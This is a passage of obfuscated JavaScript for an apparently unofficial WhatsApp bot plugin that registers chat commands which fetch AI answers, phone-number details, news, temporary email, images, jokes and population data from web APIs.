render.com/gpt?content=','*WORLDWIDE\x20POPULATION\x20DATA:*\x0a\x0a\x0a-\x20*Total\x20Population:*\x20','../Ibrahim/adams','from','\x0a\x0aI\x20will\x20send\x20the\x20correct\x20answer\x20in\x2010\x20seconds...','InteractiveMessage','enhance','\x0a\x0a\x0a>\x20Powered\x20by\x20*©France\x20King*','births','slip','\x22\x20-\x20','checknum','Live\x20Time\x20in\x20*','The\x20phone\x20number\x20is\x20invalid!','Please\x20provide\x20a\x20query\x20for\x20Bard.\x20Example:\x20`bard\x20What\x20is\x20the\x20capital\x20of\x20France?`','toString','best','Enter\x20the\x20name\x20of\x20the\x20country\x20you\x20want\x20to\x20know\x20its\x20time\x20and\x20date','Error\x20getting\x20trivia:','*POWERED\x20BY\x20BMW-MD*','1194AfEyMZ','No\x20news\x20data\x20found.','https://type.fit/api/quotes','\x0a*Country:*\x20','https://images.macrumors.com/images-new/1x1.trans.gif','Error:','dal','cal','NativeFlowMessage','🗨️','\x0a*National\x20Format:*\x20','Here\x27s\x20a\x20trivia\x20question\x20for\x20you:\x20\x0a\x0a','Invalid\x20response\x20from\x20the\x20API.','copy_code','Error\x20getting\x20trivia.\x20Please\x20try\x20again\x20later.','substring','No\x20links\x20found\x20in\x20the\x20email\x20content.','\x0a\x0a-\x20*Description:*\x20','\x0a*BMW-MD\x20NASA\x20NEWS:*\x0a\x0a\x0a-\x20*Title:*\x20','1675448VAdqew','map','key','Please\x20enter\x20the\x20necessary\x20information\x20to\x20generate\x20the\x20image.','Hello\x20🖐️.\x0a\x0a\x20What\x20help\x20can\x20I\x20offer\x20you\x20today?','results','https://api.maher-zubair.tech/misc/insult','error','https://api.maher-zubair.tech/misc/lines','Fun','Message','https://shizoapi.onrender.com/api/texts/dare?apikey=shizo','cta_url','That\x20country\x20name\x20is\x20incorrect!','\x0a\x0aYou\x20can\x20use\x20this\x20email\x20for\x20temporary\x20purposes.\x20I\x20will\x20notify\x20you\x20if\x20you\x20receive\x20any\x20emails.','\x0a\x0a\x0a>\x20*Powered\x20by\x20©FLASH-MD*','Error\x20generating\x20temporary\x20email.\x20Please\x20try\x20again\x20later.','*Enhanced\x20by\x20BMW-MD*','...\x0a-\x20*Read\x20More:*\x20','Oops,\x20an\x20error\x20occurred\x20while\x20processing\x20your\x20request','Error\x20checking\x20temporary\x20email:','gemini','https://api.maher-zubair.tech/details/nasa','random','\x0a\x0a-\x20*Date:*\x20','Please\x20enter\x20the\x20Url\x20of\x20the\x20image\x20you\x20want\x20to\x20enhance!','validate','name','cta_copy','explanation','dare','numinfo','\x0a*BMW-MD\x20APPLE\x20NEWS:*\x0a\x0a\x0a-\x20*Title:*\x20','https://api.adviceslip.com/advice','7466kQyZUg','\x0a-\x20*Deaths\x20This\x20Year:*\x20','temp','trivia','split','number','response','time','find','relayMessage','\x0a\x0aLinks\x20found:\x0a','sendMessage','log','population','https://widipe.com/dalle?text=','Error\x20getting\x20response.','Phone\x20Number\x20Validation:\x0a\x0a*Carrier:*\x20'];_0x3460=function(){return _0x5855b7;};return _0x3460();}(function(_0x316317,_0x2e1a22){const _0x44b69b=_0x1307,_0x54d3d6=_0x316317();while(!![]){try{const _0x4169e6=-parseInt(_0x44b69b(0x1af))/0x1+-parseInt(_0x44b69b(0x209))/0x2*(-parseInt(_0x44b69b(0x148))/0x3)+parseInt(_0x44b69b(0x172))/0x4+parseInt(_0x44b69b(0x169))/0x5*(-parseInt(_0x44b69b(0x1d4))/0x6)+parseInt(_0x44b69b(0x181))/0x7*(parseInt(_0x44b69b(0x1e7))/0x8)+-parseInt(_0x44b69b(0x157))/0x9*(parseInt(_0x44b69b(0x199))/0xa)+parseInt(_0x44b69b(0x195))/0xb;if(_0x4169e6===_0x2e1a22)break;else _0x54d3d6['push'](_0x54d3d6['shift']());}catch(_0x46b7e7){_0x54d3d6['push'](_0x54d3d6['shift']());}}}(_0x3460,0x56476));const {adams}=require(_0x39bcb0(0x1c2)),traduire=require(_0x39bcb0(0x194)),{default:axios}=require(_0x39bcb0(0x154)),pkg=require('@whiskeysockets/baileys'),{generateWAMessageFromContent,proto}=pkg;function _0x1307(_0x376a87,_0x49ed23){const _0x34605d=_0x3460();return _0x1307=function(_0x130799,_0x358378){_0x130799=_0x130799-0x13a;let _0x4dbbd7=_0x34605d[_0x130799];return _0x4dbbd7;},_0x1307(_0x376a87,_0x49ed23);}adams({'nomCom':_0x39bcb0(0x14d),'reaction':'🤗','categorie':'AI'},async(_0x482126,_0x4261f9,_0x520f1f)=>{const _0x4111a1=_0x39bcb0,{repondre:_0x3b36ea,arg:_0x5f4b18,ms:_0x4a9309}=_0x520f1f;try{if(!_0x5f4b18||_0x5f4b18[_0x4111a1(0x1b2)]===0x0)return _0x3b36ea(_0x4111a1(0x1eb));const _0x422ad4=_0x5f4b18[_0x4111a1(0x160)]('\x20'),_0x222a2c=await fetch(_0x4111a1(0x1be)+_0x422ad4),_0x5edf69=await _0x222a2c[_0x4111a1(0x18e)]();if(_0x5edf69&&_0x5edf69[_0x4111a1(0x20f)]&&_0x5edf69['response'][_0x4111a1(0x20f)]){const _0x481e50=_0x5edf69[_0x4111a1(0x20f)][_0x4111a1(0x20f)],_0xfec9b8=_0x481e50[_0x4111a1(0x18b)](/```([\s\S]*?)```/),_0x4ebb08=[{'name':_0x4111a1(0x1f3),'buttonParamsJson':JSON[_0x4111a1(0x189)]({'display_text':_0x4111a1(0x1ab),'url':'https://whatsapp.com/channel/0029VaZuGSxEawdxZK9CzM0Y'})}];if(_0xfec9b8){const _0x8fdd83=_0xfec9b8[0x1];_0x4ebb08[_0x4111a1(0x187)]({'name':'cta_copy','buttonParamsJson':JSON[_0x4111a1(0x189)]({'display_text':_0x4111a1(0x17e),'id':'copy_code','copy_code':_0x8fdd83})});const _0x37bed5=generateWAMessageFromContent(_0x482126,{'viewOnceMessage':{'message':{'messageContextInfo':{'deviceListMetadata':{},'deviceListMetadataVersion':0x2},'interactiveMessage':proto[_0x4111a1(0x1f1)]['InteractiveMessage'][_0x4111a1(0x165)]({'body':proto[_0x4111a1(0x1f1)]['InteractiveMessage'][_0x4111a1(0x168)]['create']({'text':_0x481e50}),'footer':proto[_0x4111a1(0x1f1)][_0x4111a1(0x1c5)]['Footer']['create']({'text':'>\x20*BMM\x20MD*'}),'header':proto[_0x4111a1(0x1f1)][_0x4111a1(0x1c5)][_0x4111a1(0x17f)][_0x4111a1(0x165)]({'title':'','subtitle':'','hasMediaAttachment':![]}),'nativeFlowMessage':proto[_0x4111a1(0x1f1)]['InteractiveMessage']['NativeFlowMessage']['create']({'buttons':_0x4ebb08})})}}},{});await _0x4261f9[_0x4111a1(0x212)](_0x482126,_0x37bed5['message'],{'messageId':_0x37bed5['key']['id']});}else{const _0x1d547c=generateWAMessageFromContent(_0x482126,{'viewOnceMessage':{'message':{'messageContextInfo':{'deviceListMetadata':{},'deviceListMetadataVersion':0x2},'interactiveMessage':proto['Message'][_0x4111a1(0x1c5)][_0x4111a1(0x165)]({'body':proto[_0x4111a1(0x1f1)][_0x4111a1(0x1c5)][_0x4111a1(0x168)][_0x4111a1(0x165)]({'text':_0x481e50}),'footer':proto[_0x4111a1(0x1f1)][_0x4111a1(0x1c5)][_0x4111a1(0x180)][_0x4111a1(0x165)]({'text':'>\x20*BMW-MD*'}),'header':proto[_0x4111a1(0x1f1)][_0x4111a1(0x1c5)][_0x4111a1(0x17f)]['create']({'title':'','subtitle':'','hasMediaAttachment':![]}),'nativeFlowMessage':proto[_0x4111a1(0x1f1)]['InteractiveMessage']['NativeFlowMessage'][_0x4111a1(0x165)]({'buttons':_0x4ebb08})})}}},{});await _0x4261f9['relayMessage'](_0x482126,_0x1d547c['message'],{'messageId':_0x1d547c['key']['id']});}}else throw new Error(_0x4111a1(0x1e0));}catch(_0x3648cb){console[_0x4111a1(0x1ee)](_0x4111a1(0x151),_0x3648cb[_0x4111a1(0x146)]),_0x3b36ea(_0x4111a1(0x13d));}}),adams({'nomCom':_0x39bcb0(0x20e),'aliases':[_0x39bcb0(0x1cb),_0x39bcb0(0x201),_0x39bcb0(0x206),'valid'],'reaction':'📞','categorie':'General'},async(_0x468f76,_0x3e5454,_0xe3eef1)=>{const _0x254543=_0x39bcb0,{repondre:_0x64b5dd,arg:_0x27424a,ms:_0x5921d0}=_0xe3eef1;try{if(!_0x27424a||_0x27424a[_0x254543(0x1b2)]===0x0)return _0x64b5dd('Please\x20enter\x20a\x20phone\x20number\x20to\x20validate.');const _0x223695=_0x27424a[_0x254543(0x160)]('\x20'),_0x5ade05=await fetch(_0x254543(0x14e)+_0x223695),_0x3e01c1=await _0x5ade05[_0x254543(0x18e)]();if(_0x3e01c1['valid']){const _0x2107de=_0x3e01c1['carrier'],_0x24c891=_0x3e01c1['country'],_0x15b687=_0x3e01c1[_0x254543(0x16a)],_0x30042d=_0x3e01c1['national_format'],_0x3e09fe=_0x3e01c1['line_type']===0x1?_0x254543(0x144):'Landline',_0x36e8d8=_0x3e01c1[_0x254543(0x19a)],_0x26e26f=_0x3e01c1[_0x254543(0x156)][0x0];await _0x64b5dd(_0x254543(0x13e)+_0x2107de+_0x254543(0x1d7)+_0x24c891+_0x254543(0x171)+_0x15b687+_0x254543(0x1de)+_0x30042d+_0x254543(0x184)+_0x3e09fe+'\x0a*Location:*\x20'+_0x36e8d8+'\x0a*Time\x20Zone:*\x20'+_0x26e26f+'\x0a\x0a>\x20*POWERED\x20BY\x20FLASH-MD*');}else await _0x64b5dd(_0x254543(0x1cd));}catch(_0x46db7a){_0x64b5dd('There\x20was\x20an\x20error\x20processing\x20your\x20request.\x20Please\x20try\x20again\x20later.');}}),adams({'nomCom':_0x39bcb0(0x1aa),'reaction':'📰','categorie':_0x39bcb0(0x18c)},async(_0x3cfecb,_0x21ced1,_0x18ae68)=>{const _0x5dfd57=_0x39bcb0,{repondre:_0x3b6542,ms:_0x135ec4}=_0x18ae68;try{const _0x1d5f50=await axios['get']('https://fantox001-scrappy-api.vercel.app/technews/random'),_0x3efc28=_0x1d5f50[_0x5dfd57(0x16d)],{thumbnail:_0x329ed9,news:_0x1608a6}=_0x3efc28,_0x1e79e5='*BMW\x20NEWS*\x0a\x0a'+_0x1608a6+_0x5dfd57(0x173);await _0x21ced1[_0x5dfd57(0x214)](_0x3cfecb,{'image':{'url':_0x329ed9},'caption':_0x1e79e5},{'quoted':_0x135ec4});}catch(_0x106592){console[_0x5dfd57(0x1ee)](_0x5dfd57(0x1b5),_0x106592),await _0x3b6542('Sorry,\x20there\x20was\x20an\x20error\x20retrieving\x20the\x20news.\x20Please\x20try\x20again\x20later.\x0a'+_0x106592);}}),adams({'nomCom':'mail','aliases':['tempmail',_0x39bcb0(0x20b)],'reaction':'📧','categorie':_0x39bcb0(0x149)},async(_0x2bfa8c,_0x52af9e,_0x4c0448)=>{const _0x3b5425=_0x39bcb0,{repondre:_0x478e15,prefixe:_0x4171c0,ms:_0x2a64f2}=_0x4c0448;try{const _0x595799=Math[_0x3b5425(0x1fe)]()[_0x3b5425(0x1cf)](0x24)[_0x3b5425(0x1e3)](0x2,0xc),_0x23a82c=_0x595799+_0x3b5425(0x167);await _0x52af9e['sendMessage'](_0x2bfa8c,{'text':_0x3b5425(0x15e)+_0x23a82c+_0x3b5425(0x1f5)},{'quoted':_0x2a64f2});const _0x15d94a=_0x139e04=>{const _0xa90942=_0x3b5425,_0x476b19=/(https?:\/\/[^\s]+)/g;return _0x139e04[_0xa90942(0x18b)](_0x476b19);},_0x230148=async()=>{const _0x9d326f=_0x3b5425;try{const _0x56f53f=await fetch(_0x9d326f(0x158)+_0x595799+_0x9d326f(0x19b)),_0x3808b5=await _0x56f53f[_0x9d326f(0x18e)]();if(_0x3808b5&&_0x3808b5[_0x9d326f(0x1b2)]>0x0)for(const _0x41e006 of _0x3808b5){const _0x5613cc=await fetch('https://www.1secmail.com/api/v1/?action=readMessage&login='+_0x595799+'&domain=1secmail.com&id='+_0x41e006['id']),_0x1814c6=await _0x5613cc[_0x9d326f(0x18e)](),_0x3b7b17=_0x15d94a(_0x1814c6['textBody']),_0x55af45=_0x3b7b17?_0x3b7b17[_0x9d326f(0x160)]('\x0a'):_0x9d326f(0x1e4);await _0x52af9e[_0x9d326f(0x214)](_0x2bfa8c,{'text':_0x9d326f(0x15d)+_0x1814c6[_0x9d326f(0x1c3)]+_0x9d326f(0x1a3)+_0x1814c6[_0x9d326f(0x17b)]+'\x0a\x0a'+_0x1814c6[_0x9d326f(0x14b)]+_0x9d326f(0x213)+_0x55af45},{'quoted':_0x2a64f2});}}catch(_0x2c5b16){console[_0x9d326f(0x1ee)](_0x9d326f(0x1fb),_0x2c5b16[_0x9d326f(0x146)]);}},_0xcbdbcf=setInterval(_0x230148,0x7530);setTimeout(()=>{const _0xcad904=_0x3b5425;clearInterval(_0xcbdbcf),_0x52af9e[_0xcad904(0x214)](_0x2bfa8c,{'text':'Your\x20temporary\x20email\x20session\x20has\x20ended.\x20Please\x20create\x20a\x20new\x20temporary\x20email\x20if\x20needed.'},{'quoted':_0x2a64f2});},0x927c0);}catch(_0xab475c){console[_0x3b5425(0x1ee)](_0x3b5425(0x1bd),_0xab475c[_0x3b5425(0x146)]),await _0x52af9e['sendMessage'](_0x2bfa8c,{'text':_0x3b5425(0x1f7)},{'quoted':_0x2a64f2});}}),adams({'nomCom':_0x39bcb0(0x1bc),'aliases':[_0x39bcb0(0x170),_0x39bcb0(0x1da)],'reaction':'📡','categorie':'AI'},async(_0x3a773c,_0x27111b,_0x2d381a)=>{const _0x40422a=_0x39bcb0,{repondre:_0x38bc30,arg:_0x40b20d,ms:_0x22c059}=_0x2d381a;try{if(!_0x40b20d||_0x40b20d['length']===0x0)return _0x38bc30(_0x40422a(0x1ea));const _0xabb77=_0x40b20d[_0x40422a(0x160)]('\x20'),_0x12ea30=_0x40422a(0x13c)+_0xabb77;let _0x2a378a=_0x40422a(0x188);_0x27111b[_0x40422a(0x214)](_0x3a773c,{'image':{'url':_0x12ea30},'caption':_0x2a378a},{'quoted':_0x22c059});}catch(_0x305e4d){console[_0x40422a(0x1ee)]('Erreur:',_0x305e4d[_0x40422a(0x146)]||_0x40422a(0x161)),_0x38bc30(_0x40422a(0x1fa));}}),adams({'nomCom':_0x39bcb0(0x1fc),'reaction':'🤗','categorie':'AI'},async(_0x43b9ca,_0x111126,_0xa40b2b)=>{const _0x33c045=_0x39bcb0,{repondre:_0x1f385f,arg:_0x4e923c,ms:_0x93a1a2}=_0xa40b2b;try{if(!_0x4e923c||_0x4e923c[_0x33c045(0x1b2)]===0x0)return _0x1f385f(_0x33c045(0x198));const _0x5b1b08=_0x4e923c[_0x33c045(0x160)]('\x20'),_0x255f43=await fetch(_0x33c045(0x152)+_0x5b1b08),_0x54f66c=await _0x255f43['json']();if(_0x54f66c&&_0x54f66c[_0x33c045(0x197)]){const _0x233f3e=_0x54f66c[_0x33c045(0x197)],_0x38445b=_0x233f3e[_0x33c045(0x18b)](/```([\s\S]*?)```/),_0x5191a8=[{'name':_0x33c045(0x1f3),'buttonParamsJson':JSON[_0x33c045(0x189)]({'display_text':_0x33c045(0x1ab),'url':_0x33c045(0x153)})}];if(_0x38445b){const _0x4d1ea4=_0x38445b[0x1];_0x5191a8[_0x33c045(0x187)]({'name':_0x33c045(0x203),'buttonParamsJson':JSON['stringify']({'display_text':_0x33c045(0x17e),'id':_0x33c045(0x1e1),'copy_code':_0x4d1ea4})});const _0x335de3=generateWAMessageFromContent(_0x43b9ca,{'viewOnceMessage':{'message':{'messageContextInfo':{'deviceListMetadata':{},'deviceListMetadataVersion':0x2},'interactiveMessage':proto['Message']['InteractiveMessage'][_0x33c045(0x165)]({'body':proto['Message'][_0x33c045(0x1c5)]['Body']['create']({'text':_0x233f3e}),'footer':proto[_0x33c045(0x1f1)]['InteractiveMessage']['Footer'][_0x33c045(0x165)]({'text':_0x33c045(0x162)}),'header':proto[_0x33c045(0x1f1)]['InteractiveMessage'][_0x33c045(0x17f)][_0x33c045(0x165)]({'title':'','subtitle':'','hasMediaAttachment':![]}),'nativeFlowMessage':proto[_0x33c045(0x1f1)]['InteractiveMessage'][_0x33c045(0x1dc)]['create']({'buttons':_0x5191a8})})}}},{});await _0x111126[_0x33c045(0x212)](_0x43b9ca,_0x335de3[_0x33c045(0x146)],{'messageId':_0x335de3['key']['id']});}else{const _0x399a08=generateWAMessageFromContent(_0x43b9ca,{'viewOnceMessage':{'message':{'messageContextInfo':{'deviceListMetadata':{},'deviceListMetadataVersion':0x2},'interactiveMessage':proto[_0x33c045(0x1f1)]['InteractiveMessage'][_0x33c045(0x165)]({'body':proto['Message'][_0x33c045(0x1c5)][_0x33c045(0x168)]['create']({'text':_0x233f3e}),'footer':proto['Message'][_0x33c045(0x1c5)][_0x33c045(0x180)][_0x33c045(0x165)]({'text':'>\x20*POWERED\x20BY\x20BMW-MD*'}),'header':proto[_0x33c045(0x1f1)]['InteractiveMessage'][_0x33c045(0x17f)]['create']({'title':'','subtitle':'','hasMediaAttachment':![]}),'nativeFlowMessage':proto['Message'][_0x33c045(0x1c5)]['NativeFlowMessage'][_0x33c045(0x165)]({'buttons':_0x5191a8})})}}},{});await _0x111126['relayMessage'](_0x43b9ca,_0x399a08[_0x33c045(0x146)],{'messageId':_0x399a08[_0x33c045(0x1e9)]['id']});}}else throw new Error('Invalid\x20response\x20from\x20the\x20API.');}catch(_0xbd4a57){console['error']('Error\x20getting\x20response:',_0xbd4a57[_0x33c045(0x146)]),_0x1f385f(_0x33c045(0x13d));}}),adams({'nomCom':_0x39bcb0(0x14c),'aliases':[_0x39bcb0(0x1db),_0x39bcb0(0x16e)],'reaction':'🔢','categorie':_0x39bcb0(0x149)},async(_0x29ccc3,_0x2784d3,_0x4b2f97)=>{const _0x4a02d2=_0x39bcb0,{repondre:_0x17124a,arg:_0xb9ffba,ms:_0x36614a}=_0x4b2f97;if(!_0xb9ffba||_0xb9ffba[_0x4a02d2(0x1b2)]===0x0)return _0x17124a(_0x4a02d2(0x17a));const _0x3ced1e=_0xb9ffba[_0x4a02d2(0x160)]('\x20'),_0x1bcd54=await fetch(_0x4a02d2(0x142)+_0x3ced1e),_0x2c0161=await _0x1bcd54[_0x4a02d2(0x18e)]();await _0x17124a(_0x2c0161['result']),console[_0x4a02d2(0x13a)](_0x2c0161['completion']);}),adams({'nomCom':'hd-wallpaper','aliases':[_0x39bcb0(0x19d),_0x39bcb0(0x1d0),'bw'],'reaction':'🙌','categorie':'BMW\x20PICS'},async(_0x2ba5c4,_0x2e5bf6,_0x5f2d7a)=>{const _0x563068=_0x39bcb0,{repondre:_0xc75dae,arg:_0x240660,ms:_0x2e6196}=_0x5f2d7a,_0xf05498=await fetch(_0x563068(0x177)),_0x11f2d7=await _0xf05498[_0x563068(0x18e)](),_0x1146b8=_0x11f2d7[_0x563068(0x141)][_0x563068(0x1a0)];let _0x3c87c7={'image':{'url':_0x1146b8},'caption':'*POWERED\x20BY\x20BMW-MD*'};return await _0x2e5bf6[_0x563068(0x214)](_0x2ba5c4,_0x3c87c7,{'quoted':_0x2e6196});}),adams({'nomCom':_0x39bcb0(0x1fe),'reaction':'🥂','categorie':_0x39bcb0(0x19f)},async(_0x5372a5,_0x125b1b,_0x26c57f)=>{const _0x6ea49=_0x39bcb0,{repondre:_0x14ef0b,arg:_0xef9cad,ms:_0x11e4b2}=_0x26c57f,_0x56750a=await fetch(_0x6ea49(0x177)),_0x55ffbc=await _0x56750a['json'](),_0x4f4197=_0x55ffbc['urls'][_0x6ea49(0x1a0)];let _0x31224a={'image':{'url':_0x4f4197},'caption':_0x6ea49(0x191)};return await _0x125b1b['sendMessage'](_0x5372a5,_0x31224a,{'quoted':_0x11e4b2});}),adams({'nomCom':'nature','reaction':'🦗','categorie':'BMW\x20PICS'},async(_0x1cce3f,_0x1e041a,_0x4ff107)=>{const _0x4d7358=_0x39bcb0,{repondre:_0x3b8cdd,arg:_0x5d5433,ms:_0x3c94a3}=_0x4ff107,_0x2586e3=await fetch(_0x4d7358(0x177)),_0x47d143=await _0x2586e3['json'](),_0x475300=_0x47d143['urls'][_0x4d7358(0x1a0)];let _0x1ad35f={'image':{'url':_0x475300},'caption':_0x4d7358(0x1d3)};return await _0x1e041a['sendMessage'](_0x1cce3f,_0x1ad35f,{'quoted':_0x3c94a3});}),adams({'nomCom':_0x39bcb0(0x210),'reaction':'⌚','categorie':_0x39bcb0(0x149)},async(_0x2ad650,_0x3124bb,_0x4e65e2)=>{const _0x62ffd9=_0x39bcb0,{repondre:_0x1b8518,arg:_0xa800df,ms:_0x56ad2e}=_0x4e65e2;try{if(!_0xa800df||_0xa800df[_0x62ffd9(0x1b2)]===0x0)return _0x1b8518(_0x62ffd9(0x1d1));const _0x55c38c=_0xa800df[_0x62ffd9(0x160)]('\x20'),_0x586819=await fetch('https://levanter.onrender.com/time?code='+_0x55c38c),_0x2817c6=await _0x586819['json'](),_0x5404ef=_0x2817c6[_0x62ffd9(0x197)][0x0][_0x62ffd9(0x202)],_0x55c1d7=_0x2817c6['result'][0x0]['time'],_0x59052b=_0x2817c6['result'][0x0][_0x62ffd9(0x16b)];await _0x1b8518(_0x62ffd9(0x1cc)+_0x5404ef+_0x62ffd9(0x18d)+_0x55c1d7+_0x62ffd9(0x1a4)+_0x59052b+_0x62ffd9(0x175));}catch(_0x24a3c5){_0x1b8518(_0x62ffd9(0x1f4));}}),adams({'nomCom':_0x39bcb0(0x1b6),'reaction':'🫵','categorie':_0x39bcb0(0x1f0)},async(_0x220b72,_0xcf332,_0x4a395a)=>{const _0x189cc7=_0x39bcb0,{repondre:_0x1e19f3,arg:_0x18b9a6,ms:_0xfe697b}=_0x4a395a,_0x2292c3=await fetch(_0x189cc7(0x1ef)),_0x280389=await _0x2292c3[_0x189cc7(0x18e)]();await _0x1e19f3(_0x280389['result']),console['log'](_0x280389[_0x189cc7(0x193)]);}),adams({'nomCom':_0x39bcb0(0x174),'reaction':'💀','categorie':_0x39bcb0(0x1f0)},async(_0x132231,_0x58225f,_0x4ccd5a)=>{const _0x424157=_0x39bcb0,{repondre:_0x92e9ca,arg:_0x4f26e4,ms:_0xfbb66}=_0x4ccd5a,_0x298364=await fetch(_0x424157(0x1ed)),_0x247197=await _0x298364['json']();await _0x92e9ca(_0x247197[_0x424157(0x197)]),console[_0x424157(0x13a)](_0x247197[_0x424157(0x193)]);}),adams({'nomCom':_0x39bcb0(0x1c6),'reaction':'💥','categorie':_0x39bcb0(0x1a7)},async(_0x2cede3,_0x50aa8e,_0x4e5170)=>{const _0x3eba05=_0x39bcb0,{repondre:_0x3e453a,arg:_0x3ba799,ms:_0x4dc92d}=_0x4e5170;try{if(!_0x3ba799||_0x3ba799[_0x3eba05(0x1b2)]===0x0)return _0x3e453a(_0x3eba05(0x200));const _0x124e27=_0x3ba799[_0x3eba05(0x160)]('\x20'),_0x297b74=_0x3eba05(0x1b9)+_0x124e27;let _0x3c5bb8=_0x3eba05(0x1f8);_0x50aa8e[_0x3eba05(0x214)](_0x2cede3,{'image':{'url':_0x297b74},'caption':_0x3c5bb8},{'quoted':_0x4dc92d});}catch(_0x520246){console[_0x3eba05(0x1ee)](_0x3eba05(0x13f),_0x520246[_0x3eba05(0x146)]||_0x3eba05(0x161)),_0x3e453a(_0x3eba05(0x1fa));}}),adams({'nomCom':_0x39bcb0(0x205),'reaction':'😁','categorie':_0x39bcb0(0x1f0)},async(_0xf64f00,_0x9d6120,_0x362450)=>{const _0x38cf0f=_0x39bcb0,{repondre:_0x1f4b70,arg:_0xbd3eda,ms:_0x183d1a}=_0x362450,_0x5524c8=await fetch(_0x38cf0f(0x1f2)),_0x2463f6=await _0x5524c8[_0x38cf0f(0x18e)]();await _0x1f4b70(_0x2463f6[_0x38cf0f(0x197)]),console[_0x38cf0f(0x13a)](_0x2463f6[_0x38cf0f(0x193)]);}),adams({'nomCom':_0x39bcb0(0x15c),'reaction':'🤩','categorie':'Fun'},async(_0x4f29e8,_0x335731,_0x3e271b)=>{const _0x5cc2cc=_0x39bcb0,{repondre:_0x245bff,arg:_0x4b1493,ms:_0x2c1a50}=_0x3e271b,_0x1d666e=await fetch(_0x5cc2cc(0x19e)),_0x20a6f4=await _0x1d666e[_0x5cc2cc(0x18e)]();await _0x245bff(_0x20a6f4[_0x5cc2cc(0x197)]),console[_0x5cc2cc(0x13a)](_0x20a6f4[_0x5cc2cc(0x193)]);}),adams({'nomCom':_0x39bcb0(0x1ae),'reaction':_0x39bcb0(0x163),'categorie':_0x39bcb0(0x178)},async(_0x5422d7,_0x55a0dd,_0x5610a1)=>{const _0x13c6ad=_0x39bcb0,{repondre:_0x368869,arg:_0x3a0e9b,ms:_0x5a307a}=_0x5610a1;try{const _0x169fc7=await fetch(_0x13c6ad(0x182)),_0x528672=await _0x169fc7[_0x13c6ad(0x18e)]();if(_0x528672&&_0x528672[_0x13c6ad(0x18a)]===0xc8&&_0x528672[_0x13c6ad(0x197)]){const _0x3a020f=_0x528672[_0x13c6ad(0x197)],_0x186636=_0x13c6ad(0x207)+_0x3a020f[_0x13c6ad(0x196)]+'\x0a\x0a-\x20*Description:*\x20'+_0x3a020f[_0x13c6ad(0x140)][_0x13c6ad(0x20d)]('\x0a')[0x0]+_0x13c6ad(0x1f9)+_0x3a020f[_0x13c6ad(0x1b4)]+_0x13c6ad(0x1c7),_0x12d30b=_0x3a020f[_0x13c6ad(0x159)][_0x13c6ad(0x211)](_0x557cee=>_0x557cee&&_0x557cee!==_0x13c6ad(0x1d8));_0x12d30b?await _0x55a0dd[_0x13c6ad(0x214)](_0x5422d7,{'image':{'url':_0x12d30b},'caption':_0x186636[_0x13c6ad(0x15f)]()},{'quoted':_0x5a307a}):await _0x55a0dd[_0x13c6ad(0x214)](_0x5422d7,{'text':_0x186636[_0x13c6ad(0x15f)]()},{'quoted':_0x5a307a});}else await _0x368869('No\x20news\x20data\x20found.');}catch(_0x449423){console[_0x13c6ad(0x1ee)]('Error\x20fetching\x20Apple\x20news:',_0x449423),await _0x368869(_0x13c6ad(0x186));}}),adams({'nomCom':_0x39bcb0(0x1bf),'reaction':_0x39bcb0(0x163),'categorie':_0x39bcb0(0x178)},async(_0x4e84d3,_0x3a8a4b,_0x1ba5a2)=>{const _0x4aa91b=_0x39bcb0,{repondre:_0x4031d5,arg:_0x4a2f70,ms:_0x45ddc0}=_0x1ba5a2;try{const _0x1d77de=await fetch(_0x4aa91b(0x1fd)),_0x326b75=await _0x1d77de[_0x4aa91b(0x18e)]();if(_0x326b75&&_0x326b75['status']===0xc8&&_0x326b75[_0x4aa91b(0x197)]){const _0x177970=_0x326b75[_0x4aa91b(0x197)],_0x439c05=_0x4aa91b(0x1e6)+_0x177970[_0x4aa91b(0x196)]+_0x4aa91b(0x1ff)+_0x177970['date']+_0x4aa91b(0x1e5)+_0x177970[_0x4aa91b(0x204)][_0x4aa91b(0x20d)]('\x0a')[0x0]+'...\x0a\x0a\x0a>\x20Powered\x20by\x20*©France\x20King*',_0xe25672=_0x177970[_0x4aa91b(0x190)];_0xe25672?await _0x3a8a4b[_0x4aa91b(0x214)](_0x4e84d3,{'image':{'url':_0xe25672},'caption':_0x439c05[_0x4aa91b(0x15f)]()},{'quoted':_0x45ddc0}):await _0x3a8a4b[_0x4aa91b(0x214)](_0x4e84d3,{'text':_0x439c05[_0x4aa91b(0x15f)]()},{'quoted':_0x45ddc0});}else await _0x4031d5(_0x4aa91b(0x1d5));}catch(_0x4b1119){console['error'](_0x4aa91b(0x17c),_0x4b1119),await _0x4031d5(_0x4aa91b(0x186));}}),adams({'nomCom':_0x39bcb0(0x13b),'reaction':_0x39bcb0(0x163),'categorie':_0x39bcb0(0x178)},async(_0xe5a7dd,_0x3f7793,_0x500b26)=>{const _0x7cfabb=_0x39bcb0,{repondre:_0x2042cb,arg:_0x5328da,ms:_0x3c1694}=_0x500b26;try{const _0x21daa5=await fetch(_0x7cfabb(0x150)),_0x287396=await _0x21daa5[_0x7cfabb(0x18e)]();if(_0x287396&&_0x287396[_0x7cfabb(0x18a)]===0xc8&&_0x287396['result']){const _0x4644bc=_0x287396[_0x7cfabb(0x197)],_0x16ada5=_0x7cfabb(0x1c1)+_0x4644bc[_0x7cfabb(0x1ba)][_0x7cfabb(0x192)]+'\x0a-\x20*Male\x20Population:*\x20'+_0x4644bc[_0x7cfabb(0x1ba)][_0x7cfabb(0x147)]+'\x0a-\x20*Female\x20Population:*\x20'+_0x4644bc['current']['female']+'\x0a-\x20*Births\x20This\x20Year:*\x20'+_0x4644bc[_0x7cfabb(0x1b1)][_0x7cfabb(0x1c8)]+_0x7cfabb(0x20a)+_0x4644bc[_0x7cfabb(0x1b1)][_0x7cfabb(0x1ad)]+'\x0a-\x20*Births\x20Today:*\x20'+_0x4644bc['today']['births']+_0x7cfabb(0x16f)+_0x4644bc['today'][_0x7cfabb(0x1ad)]+_0x7cfabb(0x1f6);await _0x2042cb(_0x16ada5);}else await _0x2042cb(_0x7cfabb(0x18f));}catch(_0x14aab6){console[_0x7cfabb(0x1ee)]('Error\x20fetching\x20population\x20data:',_0x14aab6),await _0x2042cb('There\x20was\x20an\x20error\x20fetching\x20the\x20population\x20data.\x20Please\x20try\x20again\x20later.');}}),adams({'nomCom':'jokes','reaction':'🤩','categorie':'Fun'},async(_0x7bb53e,_0x4b1b30,_0x57b95b)=>{const _0x4c8f02=_0x39bcb0,{repondre:_0x6f3d24,arg:_0x2436af,ms:_0xf7edd7}=_0x57b95b;try{const _0x3da5f3=await fetch(_0x4c8f02(0x1a2));if(!_0x3da5f3['ok'])throw new Error(_0x4c8f02(0x1bb));const _0x65e67a=await _0x3da5f3[_0x4c8f02(0x18e)]();await 